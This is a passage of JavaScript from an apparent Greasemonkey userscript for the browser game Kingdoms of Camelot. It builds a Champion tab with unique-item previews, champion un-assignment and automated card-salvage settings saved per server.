    if (ChampionOptions.Active) t.setActionTimer = setInterval(t.doAction,10000);
    setTimeout(t.salvageCheck, 16000);
    setInterval(t.salvageCheck,2*60*1000);
 },
     saveSalvageOptions : function(){
	var t = Tabs.Champion;
         for (k in t.championStatEffects) {
            var ele = document.getElementById('pbChampionItems'+k);
            //var ele2 = document.getElementById(k+'Min');
            ChampionOptions.Salvage[k]=ele.checked;
            //ChampionOptions.SalvageA[k].Min=ele2.value;
         }     
      saveChampionOptions();
   },
   
     initChampData : function(){
	var t = Tabs.Champion;

	var enhanceMap = unsafeWindow.cm.WorldSettings.getSettingAsObject("CE_ENHANCE_AETHERSTONE_MAP"),enhObjSize=0;
	for (var k in enhanceMap)
	  enhObjSize++;
	for (i=1; i<enhObjSize+1; i++) 
	  t.EnhanceCost[i]=enhanceMap[i]["Aetherstones"];
	var upgradeMap = unsafeWindow.cm.WorldSettings.getSettingAsObject("CE_UPGRADE_AETHERSTONE_MAP"),upgObjSize=0;
	for (var k in upgradeMap)
	  upgObjSize++;
	for (i=1; i<upgObjSize+1; i++)
	  t.UpgradeCost[i]=upgradeMap[i]["Aetherstones"];

	unsafeWindow.chsetFAV = t.setSalvageFAV;
	unsafeWindow.chSavlage = t.setSalvageItem;
	unsafeWindow.chActionPopup = t.ActionPopup;
	unsafeWindow.chpostInfo = t.postInfo;
//	unsafeWindow.chdoEquip = t.doEquip;
	unsafeWindow.chfupgenh = t.fupgenh;

	var a = JSON2.parse(GM_getValue ('ChampionHistory_'+getServerId(), '[]'));
	if (matTypeof(a) == 'array') t.log = a;
	var a = JSON2.parse(GM_getValue ('ChampionSalvageHistory_'+getServerId(), '[]'));
	if (matTypeof(a) == 'array') t.SalvageLog = a;

	var effectTiers = unsafeWindow.cm.WorldSettings.getSettingAsObject("CE_EFFECTS_TIERS");
	var effObjSize=0,effsplit={},championStatTiers={},basegrowth={};
	for (var k in effectTiers) {
	  effsplit=effectTiers[k]["Id_Tier"].split(",");
	  championStatTiers[''+effsplit[0]]={};
	}  
	for (var k in effectTiers) {
	  effsplit=effectTiers[k]["Id_Tier"].split(",");
	  basegrowth={};
	  basegrowth['base']=effectTiers[k]["Base"];
	  basegrowth['growth']=effectTiers[k]["Growth"];
	  championStatTiers[''+effsplit[0]][''+effsplit[1]]=basegrowth;
	}  
	t.championStatTiers=championStatTiers;

	var championStatEffects={};
	for (i=1; i<8; i++)
	  championStatEffects[''+i]=unsafeWindow.cm.thronestats.effects[''+i];
	for (i=17; i<24; i++)
	  championStatEffects[''+i]=unsafeWindow.cm.thronestats.effects[''+i];
//	for (i=201; i<210; i++)
//	  championStatEffects[''+i]=unsafeWindow.cm.thronestats.effects['1'];
	championStatEffects['201']={1:"Damage",2:["Damage"],3:"Combat"};
	championStatEffects['202']={1:"Bonus Damage",2:["Bonus Damage"],3:"Combat"};
	championStatEffects['203']={1:"Armor",2:["Armor"],3:"Combat"};
	championStatEffects['204']={1:"Strength",2:["Strength"],3:"Combat"};
	championStatEffects['205']={1:"Dexterity",2:["Dexterity"],3:"Combat"};
	championStatEffects['206']={1:"Health",2:["Health"],3:"Combat"};
	championStatEffects['207']={1:"Hit",2:["Hit"],3:"Combat"};
	championStatEffects['208']={1:"Crit",2:["Crit"],3:"Combat"};
	championStatEffects['209']={1:"Block",2:["Block"],3:"Combat"};
	t.championStatEffects=championStatEffects;

	for (var i in unsafeWindow.kocChampionItems){
	  if (unsafeWindow.seed.champion.equipment[i]) if (unsafeWindow.seed.champion.equipment[i]["repairing"]) {
	    if (unsafeWindow.seed.champion.equipment[i]["eta"]>t.repairEnd) t.repairEnd=unsafeWindow.seed.champion.equipment[i]["eta"];
	    if (unsafeWindow.seed.champion.equipment[i]["start"]>t.repairStart) t.repairStart=unsafeWindow.seed.champion.equipment[i]["start"];
	  }
	}
   },

    Uniques : function () {
        var t = Tabs.Champion;
        var UniqueItems = {
            Weapon : {
                "Black Knights Blade"   : "http://i.imgur.com/QjAxD5J.png",
                "Blade of Radiance"     : "http://img443.imageshack.us/img443/5593/dk9v.png",
            },
            Armor : {
                "Black Knights Armor"   : "http://i.imgur.com/hap9CtH.png",
                "Armor of the Wild"     : "http://img819.imageshack.us/img819/5202/hs99.png",
            },
            /* Helm : {
                "Pendragons Banner"     : "http://i.imgur.com/lQ1iSSD.png",
            },
            Boot : {
                "Pendragons Banner"     : "http://i.imgur.com/lQ1iSSD.png",
            },*/
            Shield : {
                "Black Knights Shield"  : "http://i.imgur.com/aNhjnAn.png",
            },
        }

        unsafeWindow.pbshowunique = showUnique;
        
        m =  '<table><tr><td width=400px>Uniques</td><td width=400px>Panel A</td><td width=400px>Panel B</td></tr><tr><td style="vertical-align:top">';
        
        for (var i in UniqueItems) {
        
            m += '<div class="pbdivHeader" align=left><a id='+i+'Hdr class=pbdivLink >'+i+'&nbsp;<img id='+i+'Arrow height="10" src="https://kabam1-a.akamaihd.net/kingdomsofcamelot/fb/e2/src/img/autoAttack/down_arrow.png"></a></div>'
            m += '<div id='+i+' align=left class=""><table>';
            for (var k in UniqueItems[i]) {
                m += '<tr><td width=15px><a onClick=\'pbshowunique("panelAch", "'+k+'","'+i+'")\'>A</a></td><td width=15px><a onClick=\'pbshowunique("panelBch", "'+k+'","'+i+'")\'>B</a></td><td>'+k+'</td></tr>';
            }
            m += '</table></div>';
        }
               
        m += '</td><td id=panelAch style="vertical-align:top"></td><td id=panelBch style="vertical-align:top"></td></tr>';
        m += '</table>';
        t.Overv.innerHTML = m;
        
        function showUnique(panel,name,type) {
            switch (type) {
                case "Weapon" : document.getElementById(panel).innerHTML = '<img src='+UniqueItems.Weapon[name]+'>'; break;
                case "Armor"  : document.getElementById(panel).innerHTML = '<img src='+UniqueItems.Armor[name]+'>'; break;
                /*case "Helm"  : document.getElementById(panel).innerHTML = '<img src='+UniqueItems.Helm[name]+'>'; break;
                case "Boot"  : document.getElementById(panel).innerHTML = '<img src='+UniqueItems.Boot[name]+'>'; break;*/
                case "Shield"  : document.getElementById(panel).innerHTML = '<img src='+UniqueItems.Shield[name]+'>'; break;
            }
        }
        
        for (var j in UniqueItems) {
            (function(j){
                document.getElementById(j+'Hdr').addEventListener ('click', function () {ToggleDivDisplay(500,500,j);}, false);
            })(j);
        }
        
        
    },

   Assign : function (){
	var t =Tabs.Champion;
	m =  '<DIV class=pbstat><b>Champion Assignments (EXPERIMENTAL)</b></div><TABLE border=2px align=center>';
	m += '<TR><TD width="150px"><B>Champion Name</b></td><TD><B>Assigned to</b></td><TD></td></tr>';

	var assignCity = "Not assigned to city";
        for (var i = 0; i < Seed.champion.champions.length; i++) {
	    if (Seed.champion.champions[i].assignedCity != 0) assignCity = Cities.byID[Seed.champion.champions[i].assignedCity].name;
      	    m += '<TR><TD>'+ Seed.champion.champions[i].name + '</td><TD>'+ assignCity +'</td>';
	    if (Seed.champion.champions[i].assignedCity != 0)
		m += '<TD><INPUT id=unAssign' +i+' type=submit value="Un-Assign" \></td>';
	    else
		m += '<TD>Not assigned</td>';
	    m += '</tr>';
        }
        m += '</table>';
	t.Overv.innerHTML = m;

	for(var i = 0; i < Seed.champion.champions.length; i++) {
	    var btnName = 'unAssign'+i;	
	    if (Seed.champion.champions[i].assignedCity != 0) addNewEventListener(btnName,Seed.champion.champions[i]);
	}

        function addNewEventListener(btnName, champion) {
	      document.getElementById(btnName).addEventListener ('click', function(){
                t.doUnassign(champion.championId,champion.assignedCity);
	      }, false);
        }
   },

    doUnassign : function(championId,assignedCity) {
        var t = Tabs.Champion;
	logit ('champion number:' +championId+ ' city:' +assignedCity);
	t.Overv.innerHTML += "<font size='2px'><B>Unassign attempt: </b></font>"; 
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.champid = championId;
        params.cid0 = assignedCity;
        params.cid = 0;
        new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/assignChampion.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                   if(rslt.ok){
			t.Overv.innerHTML += "<font size='2px'><B>Unassign successful - Refresh to see</b></font>";
                   } else {
			t.Overv.innerHTML += "<font color=red size='2px'><B>Unassign fail</b></font>";
		   }
            },
            onFailure: function () {
               return;
            },
        });
    },

/***   
   Caps : function (){
      var t =Tabs.Champion;
    m =  '<DIV class=ptstat><b>Champion Room Caps</b></div><TABLE border=2px align=center>';
    m += '<TR><TD width="150px"><B>Boost Name</b></td><TD width="50px"><B>Max</b></td><TD><B>Min</b></td><TD style="border:0;width:50px"></td><TD width="150px"><B>Boost Name</b></td><TD width="50px"><B>Max</b></td><TD width="50px"><B>Min</b></td></tr><TR>';
    var counter =0;
    for (k in unsafeWindow.cm.Championstats.boosts){
      counter++
      var boost = unsafeWindow.cm.Championstats.boosts[k]
      m += '<TD>'+ boost.BoostName + '</td><TD>'+ boost.Max +'<SPAN id=maxPerc_'+k+'></div></td><TD>' + boost.Min + '<SPAN id=minPerc_'+k+'></div>';

      if (counter % 2 == 0){
         m += '<TR>';
      }else {
         m += '</td><TD style="border:0">';
      }
    }
      t.Overv.innerHTML = m;
    for (k in unsafeWindow.cm.Championstats.boosts){
      var boost = unsafeWindow.cm.Championstats.boosts[k]
      if (boost.CapType == "percent"){
            document.getElementById('maxPerc_'+k).innerHTML = '%'
         if (boost.Min != "none"){
            document.getElementById('minPerc_'+k).innerHTML = '%'
         }
      }
    }
   },
***/

 Salvage : function (){
    var t = Tabs.Champion;
    try {      
      m = '<DIV id=pbTowrtDivF class=pbStat>AUTOMATED SALVAGE FUNCTION</div><TABLE id=pbbarbingfunctions width=100% class=pbTab>';
      m+='<TR><TD><INPUT type=submit id=pbchsalvage_run value="Auto Salvage = '+(Options.ChampionDeleteItems?'ON':'OFF')+'" /></td><TD><INPUT id=chShowSalvageHistory type=submit value="History"></td><TD><b>Keep cards</b> with <INPUT type=text id=pbchampion_keep size=3 value="'+ChampionOptions.Championkeep+'" /> attributes</td></tr>';
      m+='<TR><TD>Keep above: ' + htmlSelector({0:'ALL', 1:translate('Common'), 2:translate('Uncommon'), 3:translate('Rare'), 4:translate('Epic'), 5:translate('Wondrous')},ChampionOptions.SalvageQuality,'id=chQuality')+'</td>';
      m+='<TD>Keep first <INPUT type=text id=chsaveXitems size=2 maxlength=2 value='+ ChampionOptions.saveXitems +'> cards.</td></table>';
      
      m+='<table><TR><TD colspan=3><INPUT id=chSingleStat type=checkbox '+ (ChampionOptions.SingleStat?'CHECKED ':'') +'/>&nbsp; No mixed, Single Attribute cards only(required for min number of lines)</TD></TR>';
      m+='<TR><TD colspan=3><INPUT id=pbchsalvage_cityspire type=checkbox '+ (ChampionOptions.CitySpire?'CHECKED ':'') +'/>&nbsp; Deposit aetherstone in cities with Fey Spire first before other cities</TD></TR>';
      m+='<TR><TD colspan=3><INPUT id=chCityrand type=checkbox '+ (ChampionOptions.Cityrand?'CHECKED ':'') +'/>&nbsp; Deposit aetherstone in random city order (this keeps aetherstone in all / Fey Spire cities for crafing purposes)</TD></TR>';
      m+='<TR><TD colspan=3><INPUT id=pbchsalvage_unique type=checkbox '+ (ChampionOptions.SaveUnique?'CHECKED ':'') +'/>&nbsp; Save all cards marked as unique</TD></TR>';
//      m+='<TR><TD colspan=3><INPUT id=pbchheatup type=checkbox '+(ChampionOptions.heatup?'CHECKED ':'')+'/>&nbsp; Upgrade cards before salvaging to increase aetherstone and heat up modifier</TD></TR>';
      m+='<TR><TD clospan=3>Ignore attributes visually above ' + htmlSelector({1:'none', 2:'Slot 2:Uncommon (WARNING Set keep cards to 4 or less)', 3:'Slot 3:Rare(WARNING Set keep cards to 3 or less)', 4:'Slot 4:Epic (WARNING Set keep cards to 2 or less)', 5:'Slot 5:Wonderous (WARNING Set keep cards to 1)'},ChampionOptions.SalvageLevel,'id=chSLevel')+'</TD></TR>';
//      m+='<tr><td colspan=3><INPUT id=chshero type=checkbox '+ (ChampionOptions.savehero?'CHECKED ':'') +'/>&nbsp; Save all hero\'s</TD></TR></table>';
      m+='<TR><TD><FONT color=red>Min number of lines will override your "Keep cards" and "ignore attributes" setting, keeping cards with lesser/larger min requirement</font></td></TR>';
      m+='<br><br><TR><TD><FONT color=red>Check boxes for items you want to <b>KEEP</b> by attribute.</font></td></TR>';
      m+='<TABLE width=60% class=pbTab><TR><TD><B>Combat:</b></td></tr>';
      
      m+='<TR><TD></td><TD><INPUT id=chAttack type=checkbox '+ (ChampionOptions.Salvage.Attack?'CHECKED ':'') +'/>&nbsp;Attack</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Attack.Min,'id=chAttackMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=chDefense type=checkbox '+ (ChampionOptions.Salvage.Defense?'CHECKED ':'') +'/>&nbsp;Defense</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Defense.Min,'id=chDefenseMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=chLife type=checkbox '+ (ChampionOptions.Salvage.Life?'CHECKED ':'') +'/>&nbsp;Life</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Life.Min,'id=chLifeMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=chSpeed type=checkbox '+ (ChampionOptions.Salvage.Speed?'CHECKED ':'') +'/>&nbsp;Speed</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Speed.Min,'id=chSpeedMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=chAccuracy type=checkbox '+ (ChampionOptions.Salvage.Accuracy?'CHECKED ':'') +'/>&nbsp;Accuracy</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Accuracy.Min,'id=chAccuracyMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=chRange type=checkbox '+ (ChampionOptions.Salvage.Range?'CHECKED ':'') +'/>&nbsp;Range</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Range.Min,'id=chRangeMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=chLoad type=checkbox '+ (ChampionOptions.Salvage.Load?'CHECKED ':'') +'/>&nbsp;Load</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Load.Min,'id=chLoadMin')+'</td></tr>';

      m+='<TR></tr><TR><TD><B>Champion:</b></td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Damage type=checkbox '+ (ChampionOptions.Salvage.Damage?'CHECKED ':'') +'/>&nbsp;Damage</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Damage.Min,'id=DamageMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=BonusDamage type=checkbox '+ (ChampionOptions.Salvage['Bonus Damage']?'CHECKED ':'') +'/>&nbsp;Bonus Damage</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA['Bonus Damage'].Min,'id=BonusDamageMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Armor type=checkbox '+ (ChampionOptions.Salvage.Armor?'CHECKED ':'') +'/>&nbsp;Armor</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Armor.Min,'id=ArmorMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Strength type=checkbox '+ (ChampionOptions.Salvage.Strength?'CHECKED ':'') +'/>&nbsp;Strength</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Strength.Min,'id=StrengthMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Dexterity type=checkbox '+ (ChampionOptions.Salvage.Dexterity?'CHECKED ':'') +'/>&nbsp;Dexterity</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Dexterity.Min,'id=DexterityMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Health type=checkbox '+ (ChampionOptions.Salvage.Health?'CHECKED ':'') +'/>&nbsp;Health</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Health.Min,'id=HealthMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Hit type=checkbox '+ (ChampionOptions.Salvage.Hit?'CHECKED ':'') +'/>&nbsp;Hit Chance</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Hit.Min,'id=HitMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Crit type=checkbox '+ (ChampionOptions.Salvage.Crit?'CHECKED ':'') +'/>&nbsp;Crit Chance</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Crit.Min,'id=CritMin')+'</td></tr>';
      m+='<TR><TD></td><TD><INPUT id=Block type=checkbox '+ (ChampionOptions.Salvage.Block?'CHECKED ':'') +'/>&nbsp;Block</td><td>Min number of lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA.Block.Min,'id=BlockMin')+'</td></tr>';

      m+='<table><tr><TD><FONT color=red>Check boxes for items you want to <b>KEEP</b>. by name</font></td></tr></table>';
        
      m+='<TABLE width=80% class=pbTab>';
      for (k in t.championStatEffects) {
        if(!ChampionOptions.SalvageA[k]) ChampionOptions.SalvageA[k] = {};
        if(!ChampionOptions.SalvageA[k].Min) ChampionOptions.SalvageA[k].Min = 0;//fixing a mistake, Min must be defined.  
         m += '<TR><TD><A onclick="chsetFAV('+ k +')"><DIV class=pbSalvage_fav id=chSalvageFAV'+k+'></div></td>';
//         m += '<TD class=pbChampion><INPUT id=pbChampionItems'+k+' type=checkbox checked='+ (ChampionOptions.Salvage[k]?'CHECKED ':'') +'>'+ unsafeWindow.cm.thronestats.effects[k][1] +'</td><TD>'+ unsafeWindow.cm.thronestats.effects[k][3]+'</td><TD width="4">'+ unsafeWindow.cm.thronestats.effects[k][2]+'</td>\
         m += '<TD class=pbChampion><INPUT id=pbChampionItems'+k+' type=checkbox checked='+ (ChampionOptions.Salvage[k]?'CHECKED ':'') +'>'+ t.championStatEffects[k][1] +'</td><TD>'+ t.championStatEffects[k][3]+'</td><TD width="4">'+ t.championStatEffects[k][2]+'</td>\
         <td></td><td class=pbChampionST><select id='+k+'>';
         for(g = 0;g<t.EquipType.length;g++)
         m+='<option value="'+t.EquipType[g]+'">'+t.EquipType[g]+'</option>'
      m+='</select></td>';
         m+='<td class=pbChampionS>Min lines ' + htmlSelector({0:'Off', 1:'1 line', 2:'2 lines', 3:'3 lines', 4:'4 lines', 5:'5 lines'},ChampionOptions.SalvageA[k].Min,'id='+k+'Min')+'</td></tr>';
      }  
      m+= '</table>';

      t.Overv.innerHTML = m;
     
      $("pbchsalvage_run").addEventListener('click', function(e){
          if(Options.ChampionDeleteItems){
            e.target.value = "Auto Salvage = OFF";
            Options.ChampionDeleteItems = false;
            saveOptions();
          } else {
            e.target.value = "Auto Salvage = ON";
            Options.ChampionDeleteItems = true;
            saveOptions();
          }
      },false);

      document.getElementById('chSingleStat').addEventListener ('change', function(){ChampionOptions.SingleStat = document.getElementById('chSingleStat').checked;saveChampionOptions();},false);
      document.getElementById('chCityrand').addEventListener ('change', function(){ChampionOptions.Cityrand = this.checked;saveChampionOptions();},false);
      document.getElementById('pbchsalvage_cityspire').addEventListener ('change', function(){ChampionOptions.CitySpire = this.checked;saveChampionOptions();},false);
      document.getElementById('chAttack').addEventListener ('change', function(){ChampionOptions.Salvage.Attack = document.getElementById('chAttack').checked;saveChampionOptions();},false);
      document.getElementById('chDefense').addEventListener ('change', function(){ChampionOptions.Salvage.Defense = document.getElementById('chDefense').checked;saveChampionOptions();},false);
      document.getElementById('chLife').addEventListener ('change', function(){ChampionOptions.Salvage.Life = document.getElementById('chLife').checked;saveChampionOptions();},false);
      document.getElementById('chSpeed').addEventListener ('change', function(){ChampionOptions.Salvage.Speed = document.getElementById('chSpeed').checked;saveChampionOptions();},false);
      document.getElementById('chAccuracy').addEventListener ('change', function(){ChampionOptions.Salvage.Accuracy = document.getElementById('chAccuracy').checked;saveChampionOptions();},false);
      document.getElementById('chRange').addEventListener ('change', function(){ChampionOptions.Salvage.Range = document.getElementById('chRange').checked;saveChampionOptions();},false);
      document.getElementById('chLoad').addEventListener ('change', function(){ChampionOptions.Salvage.Load = document.getElementById('chLoad').checked;saveChampionOptions();},false);

      document.getElementById('Damage').addEventListener ('change', function(){ChampionOptions.Salvage.Damage = document.getElementById('Damage').checked;saveChampionOptions();},false);
      document.getElementById('BonusDamage').addEventListener ('change', function(){ChampionOptions.Salvage['Bonus Damage'] = document.getElementById('BonusDamage').checked;saveChampionOptions();},false);
      document.getElementById('Armor').addEventListener ('change', function(){ChampionOptions.Salvage.Armor = document.getElementById('Armor').checked;saveChampionOptions();},false);
      document.getElementById('Strength').addEventListener ('change', function(){ChampionOptions.Salvage.Strength = document.getElementById('Strength').checked;saveChampionOptions();},false);
      document.getElementById('Dexterity').addEventListener ('change', function(){ChampionOptions.Salvage.Dexterity = document.getElementById('Dexterity').checked;saveChampionOptions();},false);
      document.getElementById('Health').addEventListener ('change', function(){ChampionOptions.Salvage.Health = document.getElementById('Health').checked;saveChampionOptions();},false);
      document.getElementById('Hit').addEventListener ('change', function(){ChampionOptions.Salvage.Hit = document.getElementById('Hit').checked;saveChampionOptions();},false);
      document.getElementById('Crit').addEventListener ('change', function(){ChampionOptions.Salvage.Crit = document.getElementById('Crit').checked;saveChampionOptions();},false);
      document.getElementById('Block').addEventListener ('change', function(){ChampionOptions.Salvage.Block = document.getElementById('Block').checked;saveChampionOptions();},false);

      document.getElementById('chAttackMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Attack.Min = this.value;saveChampionOptions();},false);
      document.getElementById('chDefenseMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Defense.Min = this.value;saveChampionOptions();},false);
      document.getElementById('chLifeMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Life.Min = this.value;saveChampionOptions();},false);
      document.getElementById('chSpeedMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Speed.Min = this.value;saveChampionOptions();},false);
      document.getElementById('chAccuracyMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Accuracy.Min = this.value;saveChampionOptions();},false);
      document.getElementById('chRangeMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Range.Min = this.value;saveChampionOptions();},false);
      document.getElementById('chLoadMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Load.Min = this.value;saveChampionOptions();},false);

      document.getElementById('DamageMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Damage.Min = this.value;saveChampionOptions();},false);
      document.getElementById('BonusDamageMin').addEventListener ('change', function(){ChampionOptions.SalvageA['Bonus Damage'].Min = this.value;saveChampionOptions();},false);
      document.getElementById('ArmorMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Armor.Min = this.value;saveChampionOptions();},false);
      document.getElementById('StrengthMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Strength.Min = this.value;saveChampionOptions();},false);
      document.getElementById('DexterityMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Dexterity.Min = this.value;saveChampionOptions();},false);
      document.getElementById('HealthMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Health.Min = this.value;saveChampionOptions();},false);
      document.getElementById('HitMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Hit.Min = this.value;saveChampionOptions();},false);
      document.getElementById('CritMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Crit.Min = this.value;saveChampionOptions();},false);
      document.getElementById('BlockMin').addEventListener ('change', function(){ChampionOptions.SalvageA.Block.Min = this.value;saveChampionOptions();},false);

      document.getElementById('pbchsalvage_unique').addEventListener ('change', function(){ChampionOptions.SaveUnique = this.checked;saveChampionOptions();},false);
//      document.getElementById('pbheatup').addEventListener ('change', function(){ChampionOptions.heatup = this.checked;saveChampionOptions();},false);
//      document.getElementById('shero').addEventListener ('change', function(){ChampionOptions.savehero = this.checked;saveChampionOptions();},false);
      document.getElementById('pbchampion_keep').addEventListener ('change', function(){ChampionOptions.Championkeep = parseInt(document.getElementById('pbchampion_keep').value);saveChampionOptions();},false);

      document.getElementById('chQuality').addEventListener  ('change', function(){ChampionOptions.SalvageQuality = this.value;saveChampionOptions();},false);
      document.getElementById('chSLevel').addEventListener  ('change', function(){ChampionOptions.SalvageLevel = this.value;saveChampionOptions();},false);
      document.getElementById('chsaveXitems').addEventListener('change', function(){ChampionOptions.saveXitems = document.getElementById('chsaveXitems').value;saveChampionOptions();} , false);
      document.getElementById('chShowSalvageHistory').addEventListener('click', function(){t.PaintSalvageHistory()} , false);

      //if (ChampionOptions.Salvage[1] != undefined){
        for (k in t.championStatEffects){
            document.getElementById('pbChampionItems'+k).checked = ChampionOptions.Salvage[k];
         }
     //}
     if (ChampionOptions.Salvage_fav[1] == undefined){
         for (k in t.championStatEffects){
            ChampionOptions.Salvage_fav[k] = false;
         }
     } 

     if (ChampionOptions.Salvage_fav[1] != undefined) {
         for (k in t.championStatEffects){
            if (ChampionOptions.Salvage_fav[k]) document.getElementById('chSalvageFAV'+k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA6lJREFUeNq0VdtLFFEc/mZmXfO2FnaxC8XGhmFZRjeCgiDqJXoIeqkoCIQICnos7Km/oKinQAgCX3qIHoIg6ClQhMguCJa6XrKsLTPNdtu5nL7fnDPuaqv71GG+OTNzzvl+999Y6vVq/DMswubN4VxBfAqAnLoMhVYE6jo2OBk4XPcVsP0Llhox+CXIraLnGZJMqwOwcSf85iOOr8F5rKH0wEK5YYebIqhotvWz4CsFeGhH9XJg514KsM5gGk3IFWuylACfZIFTgJLZ1kJ+k+AndiNvHcemJiDPb3aVA9e6hozS+8oKkMuytM9Dv9vaiiwxoUTjdlTWkhwaTdtl/RxmkMJsWX7GIMt7lkH0hAx65oUg9HcLcRKpZpIrfUIUsCsd+Pl2jPsXylvwiaw/ldbYjfxvb6SWB6n9LcRrJAZci8A9zTvEsnOM0VE8XJdaSoClHqzbB6VO0T1JxiwZpqJigkoK1tYDyS20RmnApG+MGElTse8I01XHuo/nxrkvTYVeYKXTiRNjvqUeb/yN76hCXQJIEKtW6tAIoa/mk4cqGUInipm8cH1ykinNoExNA/EcuZyLOD58L8YMmUBdLInGzZowDFygyZSBMKqi2pirl7kNFMQ0TtDihhVMjgG6nNaEqrrWEbj+KD72ac2zSqoW+GOyxjWx8Qyid1mTPbJXzsh7QO3GBmX9Ck4NPzEC7DRxCPlgAMPvqAl7g2treGUQCuMsteSRfHxE3i/idPpuIYukePL2KHGIB/rw7pU5WKT9YsibefIHyUeFpw3nB+/NT9PCgQniMNO1F0NjBZeUg9RH/4jPsxfQ9qHj3zrw5mmVoT9v4PM344Yy5OKaAbolh0e49P5+6Ur2rELGyMixkflR08P8NSzIJBk1zJzMVGqJZsfm5psm54eBa0F1AqEQz8TCMwi/mYr2jBL1DVL5zbi5NV5aQHjQEOTD1tyMBHPZVYX+VBED1lLTtWx6Ncs0sazJHsvR/4hs0FTaRW6RvTmakacA6f3yPc7DDexF75m+/TOyQ1pjFfbtZ5ugGbN/tPukBmzVwvvb0j+cyAKbFR1zalFdTeI6lj5/hz3dLP9fz7lvD7GBuI3uniz63wCNtKqqkhbSO/FY6yIuijIi/IMlUc8DPovmZQ/wOdPL78eII8RLYpK4SmyBG3Sgq9vHcD+QWi9uTC3yyzStR6OLeIrBoV7OZ4ldxLMFewTsmmgjtmE224mJL2k+d5Ru10rhfw4b/3n8FWAAwna8wfz7wJUAAAAASUVORK5CYII="/>';
